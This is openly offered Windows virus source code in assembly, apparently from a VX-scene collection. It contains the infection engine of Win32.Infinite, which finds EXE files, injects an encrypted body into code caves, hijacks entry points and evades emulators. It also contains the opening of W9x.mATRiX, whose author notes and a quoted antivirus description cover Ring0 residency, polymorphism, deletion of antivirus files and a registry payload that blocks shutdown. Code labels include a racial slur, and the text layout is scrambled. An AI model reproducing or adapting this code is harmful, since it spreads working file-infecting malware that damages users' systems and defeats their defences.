; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ; º Search for files to infect º ; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ SetDir&Infect: lea edi,dword ptr [ebp+infect_dir-delta] push edi apicall SetCurrentDirectoryA Seek&Infect: lea push call db over3: apicall
eax,[ebp+WFD-delta] eax over3 "*.*",0 FindFirstFileA
; Search for files
; Search for all files
mov
dword ptr [ebp+SearchHandle-delta],eax
inc jz
eax FailOccured
SearchForMore: push push
dword ptr [ebp+modbase-delta] dword ptr [ebp+rethost-delta]
; Preserve untouchable info
lea push call pop jecxz
edi,[(ebp.WFD.szFileName)-delta]; Is the file found factible edi ; of being infected? ProcessExtension edi NotThisTime ; Nopes.
call
InfectPE
NotThisTime: pop pop lea mov xor rep lea push push
dword ptr [ebp+rethost-delta] dword ptr [ebp+modbase-delta]
; Restore this interesting ; info
edi,[(ebp.WFD.szFileName)-delta]; Fill this with zeroes ecx,260 al,al stosb eax,[ebp.WFD-delta] ; Search for more little eax ; suckers dword ptr [ebp+SearchHandle-delta]
apicall FindNextFileA or eax,eax jnz SearchForMore CloseSearchHandle: push dword ptr [ebp+SearchHandle-delta] apicall FindClose FailOccured: ret ProcessExtension: ; input: ; EDI - Pointer to file name ; output: ; ECX - NULL if it is not an extension; 1 if it is. xor scasb jnz
al,al
; Search for NULL
lea push pop or call
esi,[edi-5] 05h edi dword ptr [esi],20202020h CRC32
; Get the extension :) ; Size to calculate CRC32
cmp jz
eax,0F643C743h ItWasExtension
; Only EXE files
$-1
; Make locase the lewsers
dec edx ItWasExtension: inc edx mov ecx,edx ret ; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ; º PE Infection Engine º ; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ InfectPE: ; input: ; EDI - Pointer to filename to infect ; output: ; Nothing. cmp jz
dword ptr [ebp+SfcIsFileProtected-delta],00h NotInWin2k
push edi push 00h apicall SfcIsFileProtected or jnz
eax,eax ExitInfectPE
NotInWin2k: push 80h push edi apicall SetFileAttributesA xor push push
eax,eax eax eax
; ; ; ; ; ;
Win2k ability: it has feature that warns the user if an important file is being modified. If the file has such protection, we won't touch it, ok? ;)
; Destroy hostile attributes ; and put normal ones
; Open file for R/W
push push inc push
03h
; OPEN_EXISTING flag
eax eax eax push 0C0000000h push edi apicall CreateFileA
; READ / WRITE
inc jz dec
eax ExitInfectPE eax
mov push
dword ptr [ebp+FileHandle-delta],eax ; Save handle of opened file eax
push push apicall mov
00h eax GetFileSize ; Get its size dword ptr [ebp+OriginalSize-delta],eax
pop
ecx
; ECX = Handle
xor push push push push push push apicall
ebx,ebx ebx 00h ebx 04h ebx ecx CreateFileMappingA
; EBX = 0
or jz
eax,eax CloseFileExitInfectPE
mov
dword ptr [ebp+MapHandle-delta],eax
xor push push push push push apicall
ebx,ebx 00h ebx ebx 02h eax MapViewOfFile
or jz
eax,eax UnMap&CloseMap&FileExitInfectPE
mov
dword ptr [ebp+MapAddress-delta],eax
mov add mov
esi,[eax+3Ch] ; Ptr to PE header =] esi,eax dword ptr [ebp+PtrPEH-delta],esi
cmp jnz
word ptr [esi],"EP" ; Check for PE mark Trunc&UnMap&CloseMap&FileExitInfectPE
cmp jz
dword ptr [esi.MagicInfection],inf_mark Trunc&UnMap&CloseMap&FileExitInfectPE ; Check for previous infection
cmp jnz
word ptr [esi.Machine],014Ch Trunc&UnMap&CloseMap&FileExitInfectPE ; Check for i386 ;)
; push size
; push handle
; We want map only file size
cmp jne
dword ptr [ebp.WFD.nFileSizeHigh-delta],00h Trunc&UnMap&CloseMap&FileExitInfectPE ; Don't allow huge & ugly files
cmp jb
dword ptr [ebp.WFD.nFileSizeLow-delta],4000h Trunc&UnMap&CloseMap&FileExitInfectPE ; Don't allow too little files
mov mov
eax,[esi.EntrypointRVA] ; EAX = Old file's EIP dword ptr [ebp+rethost-delta],eax
mov add nigger: add mov sub cmp jae
edi,esi esi,0F8h-28h esi,28h edx,eax edx,[esi.VirtualAddress] edx,[esi.VirtualSize] nigger
; ; ; ; ; ;
Pointer to 1st section-28h Ptr to section name ;) Put in EDX the original EIP Remove the VirtualAddress Is EIP pointing to this sec? If not, loop again
mov
ebx,dword ptr [ebp+MapAddress-delta]
pushad push pop mov add mov popad
dword ptr [esi.SizeOfRawData] ; Some tricky thing :) dword ptr [esi.VirtualSize] eax,[ebp+rethost-delta] eax,ebx dword ptr [ebp+tempshit-delta],eax
add add mov mov
ebx,[esi.PtrToRawData] edx,ebx esi,edx ; ESI - Pointer to section dword ptr [ebp+EPofs-delta],esi ; mapped in mem where da EP is.
mov mov call jc
ebx,dword ptr [ebp+OriginalSize-delta] ; Search limit ecx,heap_end-virus_start+security ; How many space do we need SeekForHoles ThereWasNoHole
pushad sub mov mov add niggr2: add mov sub cmp jae
eax,dword ptr [ebp+MapAddress-delta] esi,dword ptr [ebp+PtrPEH-delta] edi,esi ; We wanna put some attribs esi,0F8h-28h ; to the section where the esi,28h ; virus code is located, so edx,eax ; we've to search for it :) edx,[esi.VirtualAddress] edx,[esi.VirtualSize] niggr2
; EAX = Ptr to hole mov
dword ptr [ebp+inf_switch-delta],00h
; Let's check if we can put ourselves inside the hole (more security) mov edx,[esi.VirtualAddress] add edx,[esi.VirtualSize] add eax,((heap_end-virus_start)+security) sub edx,eax js wecantinfectthere mov dword ptr [ebp+inf_switch-delta],01h or [esi.Characteristics],0A0000020h ; PUT IT SUCKA! wecantinfectthere: popad
mov org inf_switch dd or jz lea mov add pushad mov tempshit = add sub mov popad mov rep
ecx,12345678h $-4 ? ecx,ecx Trunc&UnMap&CloseMap&FileExitInfectPE esi,[ebp+virus_start-delta] edi,eax edi,security
; Some security :)
eax,12345678h ; Let's calculate where the $-4 ; jmp must point to eax,(killemu-epo) edi,eax dword ptr [ebp+jmpadd-delta],edi
ecx,virus_size movsb
; Encrypt with a silly l00p pushad sub mov call mov mov mov mov enc_l00p: lodsb xor stosb loop popad pushad sub mov push pop pushad
edi,virus_end-encrypt_start esi,edi random bl,al byte ptr [edi+enc_key-encrypt_start],bl byte ptr [ebp+enc_k3y-delta],bl ecx,encrypt_end-encrypt_start
al,bl enc_l00p
edi,(virus_size-(sebes-virus_start)) esi,dword ptr [ebp+EPofs-delta] epo_bytes ecx
lewpit: lodsb xor enc_k3y = stosb loop
al,00h $-1
; Store EPO bytes also ; encrypted
lewpit
popad xchg
edi,esi
call
over69
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ epo: call killemu ;³ This code will give the control to the mov esp,[esp+08h] ;³ virus and avoid the scanning of emulators xor edx,edx ;³ at the same time :) pop dword ptr fs:[edx];³
pop edx ;³ db 0E9h ;³ jmpadd: dd ? ;³ killemu:xor edx,edx ;³ push dword ptr fs:[edx];³ mov fs:[edx],esp ;³ div edx ;³ epo_bytes = $-epo ;³ ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ over69: pop
esi
rep popad
movsb
mov mov
esi,dword ptr [ebp+PtrPEH-delta] dword ptr [esi.MagicInfection],inf_mark ; Put inf. mark
; Fix checksum if needed
n4t4s:
add cmp jz
esi,58h dword ptr [esi],00h Trunc&UnMap&CloseMap&FileExitInfectPE
push call dd push push apicall
esi ; Pointer to CheckSum field n4t4s ? ; Where store old CheckSum dword ptr [ebp+OriginalSize-delta] dword ptr [ebp+MapAddress-delta] CheckSumMappedFile
ThereWasNoHole: Trunc&UnMap&CloseMap&FileExitInfectPE: UnMap&CloseMap&FileExitInfectPE: push dword ptr [ebp+MapAddress-delta] apicall UnmapViewOfFile CloseMap&FileExitInfectPE: push dword ptr [ebp+MapHandle-delta] apicall CloseHandle CloseFileExitInfectPE: push dword ptr [ebp+FileHandle-delta] apicall CloseHandle ExitInfectPE: ret SeekForHoles: ; input: ; ESI - Pointer inside file (in PE header) ; ECX - How many space do we need ; EBX - Search limit ; output: ; EAX - Pointer to the beginning of the shit ; CF - Set if error (couldn't find hole) call mov call jmp
SetSEH1 esp,[esp+08h] get_delta NSE_
xor
edx,edx
SetSEH1:
; Just for security of ; scanning :)
push mov
dword ptr fs:[edx] dword ptr fs:[edx],esp
push esi GetAnotherByte: xor edx,edx GAB2: dec ebx jz NoShitEnough lodsb or al,al jz IsFillByte cmp al,0CCh jnz GetAnotherByte IsFillByte: inc edx cmp ecx,edx jnz GAB2 WeFoundManyShit: sub esi,ecx xchg eax,esi pop esi pop dword ptr fs:[00h] pop edx ret NoShitEnough: pop esi NSE_: stc pop dword ptr fs:[00h] pop edx ret
; Clear counter :) ; Check if we arrived until ; the limit (run away if so) ; NULL byte? ; Int 3? (VC6 filez're full ; of them) ; Increase counter
; ESI = Point to shit
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ; º APICRC32 Search Engine º ; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ GetAPIs proc ; input: ; EAX - Base address of the library where search the APIs ; ESI - Pointer to an array of CRC32 of the APIs we want to search ; EDI - Pointer to where store the APIs ; output: ; Nothing. push
eax
; EAX = Handle of module dword ptr [ebp+TmpModuleBase-delta]
pop APIS33K: lodsd push esi edi call GetAPI_ET_CRC32 pop edi esi stosd
; Get in EAX the CRC32 of API
; Save in [EDI] the API address
cmp jnz
byte ptr [esi],0BBh APIS33K
; There are more APIs in this ; library
inc cmp jz
esi byte ptr [esi],"DC4" EndOfAPISearch
; Check if it's the last of ; all them
push esi apicall LoadLibraryA push
eax
; ESI points now to the ASCIIz ; string of a library... We ; need to load it!
nxtchr: lodsb test jnz pop jmp
; Reach the end of the lib ; asciiz name
al,al nxtchr eax GetAPIs
EndOfAPISearch: ret GetAPIs endp GetAPI_ET_CRC32 proc ; input: ; EAX - CRC32 of the API we want to know its address ; output: ; EAX - API address, NULL if error xor
edx,edx pushad call mov xor jmp
over_APICRC32_SEH esp,[esp+08h] eax,eax Remove_APICRC32_SEH
; Set stack as before ; signalize the error
over_APICRC32_SEH: push dword ptr fs:[edx] mov dword ptr fs:[edx],esp xchg mov push pop add lodsw add
; Set new SEH frame
eax,edx ; Put CRC32 of da api in EDX dword ptr [ebp+Counter-delta],eax ; Clear this field :) 3Ch esi esi,[ebp+TmpModuleBase-delta] ; Get PE header of module eax,[ebp+TmpModuleBase-delta]
push pop add add
1Ch esi esi,[eax+78h] esi,[ebp+TmpModuleBase-delta]
lea lodsd add stosd
; Normalize
; Get a pointer to its edata
edi,[ebp+AddressTableVA-delta] ; ; Get eax,[ebp+TmpModuleBase-delta] ; ; And
Pointer to the address table AddressTable value Normalize store in its variable
lodsd ; Get NameTable value add eax,[ebp+TmpModuleBase-delta] ; Normalize push eax ; Put it in stack stosd ; Store in its variable lodsd add stosd pop @?_3:
; Get OrdinalTable value eax,[ebp+TmpModuleBase-delta] ; Normalize ; Store esi
lodsd push add
; ESI = NameTable VA
esi eax,[ebp+TmpModuleBase-delta]
; Get pointer to an API name ; Save again ; Normalize
xchg mov
edi,eax ebx,edi
push
; Store ptr in EDI ; And in EBX
edi xor al,al scasb jnz $-1 pop esi
; Save EDI
sub
edi,ebx
; EDI = API Name size
push call pop cmp jz
edx CRC32 edx edx,eax @?_4
; ; ; ; ;
pop
; ESI = Pointer to API Name
Save API's CRC32 Get actual api's CRC32 Restore API's CRC32 Are them equal? if yes, we got it
esi inc
jmp @?_4: pop mov Counter = shl add xchg lodsw cwde shl add xchg lodsd add
; Restore ptr to api name dword ptr [ebp+Counter-delta] ; And increase the counter @?_3 ; Get another api! esi
; Remove shit from stack eax,12345678h ; Put in EAX the number that $-4 ; the API occupy in list. eax,1 ; *2 (it's an array of words) eax,[ebp+OrdinalTableVA-delta] ; Normalize eax,esi ; ESI = Ptr 2 ordinal; EAX = 0 ; Get ordinal in AX ; Clear MSW of EAX eax,2 ; And with it we go to the eax,[ebp+AddressTableVA-delta] ; AddressTable (array of esi,eax ; dwords) ; Get Address of API RVA eax,[ebp+TmpModuleBase-delta] ; and normalize!! That's it!
Remove_APICRC32_SEH: xor edx,edx pop dword ptr fs:[edx] pop edx mov [esp.1Ch],eax popad ret GetAPI_ET_CRC32 endp
; Remove that SEH frame
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ; º Subroutines º ; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ CRC32: ; input: ; ESI - Pointer to the data to process ; EDI - Size of such data ; output: ; EAX - CRC32 of that data cld pushad xor ecx,ecx dec ecx mov edx,ecx NextByteCRC: xor eax,eax xor ebx,ebx
; Optimized by me - 2 bytes ; less
lodsb xor al,cl mov cl,ch mov ch,dl mov dl,dh mov dh,8 NextBitCRC: shr bx,1 rcr ax,1 jnc NoCRC xor ax,08320h xor bx,0EDB8h NoCRC: dec dh jnz NextBitCRC xor ecx,eax xor edx,ebx dec edi jnz NextByteCRC not edx not ecx xchg eax,edx rol eax,10h mov ax,cx mov [esp.PUSHAD_EAX],eax popad ret CheckImageBase: ; input: ; ESI - Address inside module ; ECX - Limit ; output: ; ESI - module address and esi,0FFFF0000h cmp word ptr [esi],"ZM" jz ItWasKewlEnough NotCoolAddress: sub esi,00010000h loop CheckImageBase ItWasKewlEnough: ret random: ; input: ; Nothing. ; output: ; EAX - Random number
seed
apicall xor org dd mov ret
GetTickCount eax,12345678h $-4 -1 dword ptr [ebp+seed-delta],eax
; Let's save some bytes ;) get_delta: call delta: pop ret
delta ebp
; Get a relative address from ; when calculate offsets
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ; º Virus Data º ; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ api_list
=
$ ; db @VirtualProtect dd @FindFirstFileA dd @FindNextFileA dd @FindClose dd @CreateFileA dd @SetFileAttributesA dd @CloseHandle dd @GetCurrentDirectoryA dd @SetCurrentDirectoryA dd @GetWindowsDirectoryA dd @GetSystemDirectoryA dd @CreateFileMappingA dd @MapViewOfFile dd @UnmapViewOfFile dd @SetEndOfFile dd @GetFileSize dd @SetFilePointer dd @GetSystemTime dd @LoadLibraryA dd @FreeLibrary dd @GlobalAlloc dd @GlobalFree dd @WriteFile dd @GetProcAddress dd @GetTickCount dd db
"KERNEL32",0 079C3D4BBh 0AE17EBEFh 0AA700106h 0C200BE21h 08C892DDFh 03C19E536h 068624A9Dh 0EBC6C18Bh 0B2DBD7DCh 0FE248274h 0593AE7CEh 096B2D96Ch 0797B49ECh 094524B42h 059994ED6h 0EF7D811Bh 085859D42h 075B7EBE8h 04134D1ADh 0AFDF191Fh 083A353C3h 05CDF6B6Ah 021777793h 0FFC97C1Fh 0613FD7BAh 0BBh
@CheckSumMappedFile
db dd db
"IMAGEHLP",0 078B31744h 0BBh
@SfcIsFileProtected
db dd db
"SFC",0 06DE8F7ABh 0BBh
; Don't needed
; That's the end, my friend... db encrypt_end
=
"DC4"
$
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ; º Simple decryption l00p :) º ; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ decrypt: pop mov mov mov enc_key = dec_l00p: lodsb xor stosb loop jmp
esi edi,esi ecx,encrypt_end-encrypt_start bl,00h $-1
al,bl dec_l00p encrypt_start
virus_end
=
$
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ; º Virus Data in the heap º ; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ kernel TmpModuleBase AddressTableVA NameTableVA OrdinalTableVA OriginalSize SearchHandle FileHandle MapHandle MapAddress PtrPEH EPofs
dd dd dd dd dd dd dd dd dd dd dd dd
? ? ? ? ? ? ? ? ? ? ? ?
api_addresses
=
$
; KERNEL32 APIs VirtualProtect FindFirstFileA FindNextFileA FindClose CreateFileA SetFileAttributesA CloseHandle GetCurrentDirectoryA SetCurrentDirectoryA GetWindowsDirectoryA GetSystemDirectoryA CreateFileMappingA MapViewOfFile UnmapViewOfFile SetEndOfFile GetFileSize SetFilePointer GetSystemTime LoadLibraryA FreeLibrary GlobalAlloc GlobalFree WriteFile GetProcAddress GetTickCount
dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
dd
?
dd
?
; IMAGEHLP APIs CheckSumMappedFile ; SFC APIs SfcIsFileProtected ; Other datas WFD infect_dir current_dir
WIN32_FIND_DATA > db 7Fh dup (?) db 7Fh dup (?)
heap_end
=
virseg
ends
end
infinite
$
;------------------------------[ INFINITE.INC ]------------------------------; ;**************************************************************************** ;** This is the include file for the constant and macros of the virus ** ;**************************************************************************** ; Constants virus_size total_size inf_mark
= = =
virus_end-virus_start heap_end-virus_start "AIAG"
security
=
20d
PUSHAD_EDI PUSHAD_ESI PUSHAD_EBP PUSHAD_ESP PUSHAD_EBX PUSHAD_EDX PUSHAD_ECX PUSHAD_EAX
= = = = = = = =
00h 04h 08h 0Ch 10h 14h 18h 1Ch
; Very important
; Some PE header stuff MagicPE = Machine = NumberOfSections= EntrypointRVA = CodeRVA = FileAlignment = MagicInfection = SizeOfImage = CheckSum = PECharacteristics= DirEntryReloc =
00h 04h 06h 28h 2Ch 3Ch 4Ch 50h 58h 5Eh 0A0h
; Some section header fields SectionName VirtualSize VirtualAddress SizeOfRawData PtrToRawData PtrToReloc NumOfReloc Characteristics
= = = = = = = =
00h 08h 0Ch 10h 14h 18h 20h 24h
macro call endm
api2call dword ptr [ebp+api2call-delta]
; Macros apicall
; Structures
WIN32_FIND_DATA struc dwFileAttributes dd ftCreationTime dq ftLastAccessTime dq ftLastWriteTime dq nFileSizeHigh dd nFileSizeLow dd dwReserved0 dd dwReserved1 dd szFileName db szAlternateFileName db db 03 dup (?) WIN32_FIND_DATA ends
? ? ? ? ? ? ? ? 260 dup (?) 13 dup (?)
;-------------------------------[ HOST.INC ]--------------------------------; ;**************************************************************************** ;** This is the host for the first generation ** ;**************************************************************************** .586p .model
flat,stdcall
extrn extrn
MessageBoxA:PROC ExitProcess:PROC
_DATA
segment dword use32 public 'DATA'
szTtl szMsg
db db db db db db db db db db db db db
_DATA
ends
_TEXTNUL
"Win32.Infinite",0 "Size " virus_size/1000 mod 10 + "0" virus_size/0100 mod 10 + "0" virus_size/0010 mod 10 + "0" virus_size/0001 mod 10 + "0" " - " "Virtual " total_size/1000 mod 10 + "0" total_size/0100 mod 10 + "0" total_size/0010 mod 10 + "0" total_size/0001 mod 10 + "0" 10,"(c) 2000 Billy Belcebu/iKX",0
segment dword use32 publicNUL'CODE'
virus_init jmp host: db call call virus_init _TEXT
ends
proc virus_start epo_bytes dup (90h) MessageBoxA,0,offset szMsg,offset szTtl,0 ExitProcess,0 endp
;comment ; ;released ; ;ú ÄÍÄÍÍÍÍÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄúÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÍÍÍÄÍÄ ú ; ÜÜÜÜÜ ° ; ÛÛÛÛ ° ßßßß ÛÛÛÛßÛÛÛ ÛÛÛÛßÛÛÛÛ ÛÛÛÛ ÛÛÛÛþßßßß ÛÛÛÛßÛÛÛÛ ÛÛÛÛßÛÛÛÛ2000 ; ° ²ÛÛÛ ° ÛÛÛÛ ²ÛÛÛÜ ° ÛÛÛÛþ ÛÛÛÛ ° ²ÛÛÛ ÛÛÛÛ ÛÛÛÛ ° ²ÛÛÛþ ° ;°°°°²ÛÛÛ°ÛÛÛÛ°²ÛÛÛ°ÛÛÛÛ°°°°°ÛÛÛÛ°ÛÛÛÛ°²ÛÛÛ°Û°ÛÛÛÛ°²ÛÛÛ°²ÛÛÛ°°°°°°²ÛÛÛ°ÛÛÛÛ° °° ; ° ²ÛÛÛÜÛÛÛÛܲÛÛÛ ²ÛÛÛ ° ²ÛÛÛÜÛÛÛÛ ²ÛÛÛÜÛÜÛÛÛÛ ²²ÛÛܲÛÛÛ ° °²ÛÛÛÜÛÛÛÛ[LW] ; ßßßßßßß ° ; W9x.mATRiX.size by LiFEwiRE [ShadowVX] - www.shadowvx.org ; ; ; Intro ; ; This virus is my first windows virus, and the result of reading some ; docs, tutorial and (Ring0 virus)-sources. ; ; It is not a very complicated virus, and it doesn't use new technics ; too... Maybe the ASCII counter is some unusual feature. ; ; When debugging is enabled, this things are extra: ; ; Unload when dword at bff70400 <> 0h ; Beep at certain events (get resident, unload & infect) ; Beep can be turned off by changing byte ptr at bff70408 <> 0h ; only infects files at your D: drive (it's my test drive) ; ; I use WinIce to modify the values. ; ; Specs: ; ; Ring0 resident, infects on IFSmgr file rename, open and attrib, EXE, ; SCR and COM (!) files. Com files are infected for the payload, a scene ; from The Matrix. The COM files are not really infected, but some date ; checking code and action is appended on it. When the month is equal ; to the date the payload will start. ; ; Infection : Increasing last section, and make a jump at orignal ; entrypoint to it (when modifying EP to last section ; AVPM will popup:( ) ; ; Encryption : XOR'd and polymorfic-build-up-decryptors. ; Armour : Anti debugger & anti emulator (SEH & Anti-SoftICE) ; ; Payload(s) : 2, as i said above 1 which is appended to all .com files ; on opening and c:\windows\win.com which will display ; 'Wake up Neo... / The Matrix has you... / w9x.mATRiX' ; like in the movie (except the last sentence, w9x.mATRiX:) ; when the day is equal to the month (1 jan, 2 feb,etc.) ; ; the other payload will remove the shutdown command from ; the start menu using the registery - at 06 april. ; ; KnownBugs : No I know... I tested this code a lot, and a friend of me ; : infected his own PC accidently and it worked really good ; :)... The only problem is that F-prot hangs on infected ; files... hehe but that's not my problem :) ; ; Thanx to : Lord Julus, Billy Belcebu & Z0MBiE. ; ; Greets to : Ruzz', Kamaileon, z3r0, Bhunji, Dageshi, all other Shadow-
ÿ
; VX members, ; r-, GigaByte, VirusBuster, CyberYoda, T00fic, all other ; people i met on #virus & #vir, and 29A & iKX for their ; nice magazines. ; ; and some non-virus greets: ; ; Ghostie :P, Hampy, nog wat XXXClan'ers, DJ Accelerator, ; King Smozzeboss SMOS from Conehead SMOS games [NL1SMS] ; PiepPiep, NL0JBL, BlueLIVE, MisterE & Xistence. ; ; Compile: Tasm32 /m3 /ml LiFEwiRE.ASM, ; tlink32 /Tpe /aa /c LiFEwiRE.OBJ,,,import32.lib ; pewrsec LiFEwiRE.EXE ; ; Contact: [email protected] ; ; ;úÄÍÄÍÍÍÍÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄúÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÍÍÍÄÍÄ ú ; ;Description at www.viruslist.com ; ;Win95.Matrix ; ; ;It is not a dangerous memory resident polymorphic parasitic Win9x virus. It ;stays in the Windows memory as a device driver (VxD) by switching from ;application mode to Windows kernel (Ring3->Ring0), hooks disk files access ;functions, and infect PE executable files with EXE and SCR file name ;extensions, and affects DOS COM files. ; ;While infecting a PE EXE file the virus encrypts itself and writes to the ;file end. The virus also patches program's startup code with a short routine ;that passes control to main virus code. ; ;While affecting DOS COM files the virus writes to the end of file a short ;routine that has no infection abilities, but just displays a message on ;July 7th: ; ; Wake up, Neo... ; The Matrix has you... ; w9x.mATRiX ; ;The virus also affects the C:\WINDOWS\WIN.COM file in the same way. ; ;On April 6th the virus modifies the system registry key: ; ;HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer NoClose = 1 ; ;As the result of this key a user cannot switch off the computer. ; ;The virus also deletes anti-virus data files: AVP.CRC, ANTI-VIR.DAT, IVB.NTZ, ;CHKLIST.MS. ; ;The virus contains the text strings: ; ;[- comment from LiFEwiRE- AV'ers forgot to put the strings here??] ; ;where 'xxxxxxx' is the virus' "generation" number. ; ; ;úÄÍÄÍÍÍÍÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄúÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÍÍÍÄÍÄ ú
ÿ
ÿ
.486p .model flat locals jumps extrn ExitProcess:PROC;
;only 4 first gen.
;----- -[Equ's]- ------------------------------------------------------------; debug
equ
1
virusz sectionflags
equ equ
offset end - offset start 00000020h or 80000000h or 20000000h
equ
05h
;let's hook this int for ring0
equ
03h
;let's hook this int for ring0
equ
offset EndJmpToCode-offset JmpToCode
if debug eq 1 inthook else inthook endif JmpToCodesz
;test/debug version?
IFSMgr InstallFileSystemApiHook UniToBCSPath Ring0_FileIO
equ equ equ equ
0040h 067h 041h 032h
;for VxDCall ;used in ring0 hooker ;used in hook to convert uni2ansi ;for all file i/o
IFSFN_FILEATTRIB IFSFN_OPEN IFSFN_RENAME
equ equ equ
21h 24h 25h
;hooked functions
R0_OPENCREATFILE R0_CLOSEFILE R0_WRITEFILE R0_READFILE R0_GETFILESIZE R0_FILEATTRIBUTES GET_ATTRIBUTES SET_ATTRIBUTES R0_DELETEFILE
equ equ equ equ equ equ equ equ equ
0D500h 0D700h 0D601h 0D600h 0D800h 04300h 00h 01h 04100h
;used with ring0_fileIO
PC_STATIC PC_WRITEABLE PC_USER PAGEZEROINIT PAGEFIXED PG_SYS
equ equ equ equ equ equ
20000000h 00020000h 00040000h 00000001h 00000008h 1
;for allocating pages ;and protecting them from ;ring3 code
Get_DDB
equ
0146h
;VMMCall to find S-ICE
PageAllocate PageModifyPermissions
equ equ
0053h 0133h
SizeInPages
equ
(virusz+1000 + 4095) / 4096
RegOpenKey RegSetValueEx HKEY_CURRENT_USER REG_DWORD
equ equ equ equ
0148h 0152h 80000001h 4
;used by payload for registery ;modifying ; ;
debug_beep_FREQ
equ
1700
;for debugging
debug_beep_DELAY
equ
50*65536
debug_beep_FREQ2 debug_beep_DELAY2
equ equ
700 100*65536
;for debugging
;----- -[Macro's]- ----------------------------------------------------------; VxDCall macro int dw dw endm
vxd_id, service_id 20h service_id vxd_id
VMMCall macro int dw dw endm
service_id 20h service_id 0001h
;Is just less work than doing ;a VxDCall VMM, service
if debug eq 1 ; display "Debug Version" else display " °±²Û *Warning* This is the real version of the virus Û²±°" endif ;----- -[Code]- -------------------------------------------------------------; _CODE segment dword use32 public 'CODE' start: pushad call getdelta: pop sub
newEIP
getdelta ebp ebp,offset getdelta
sub equ
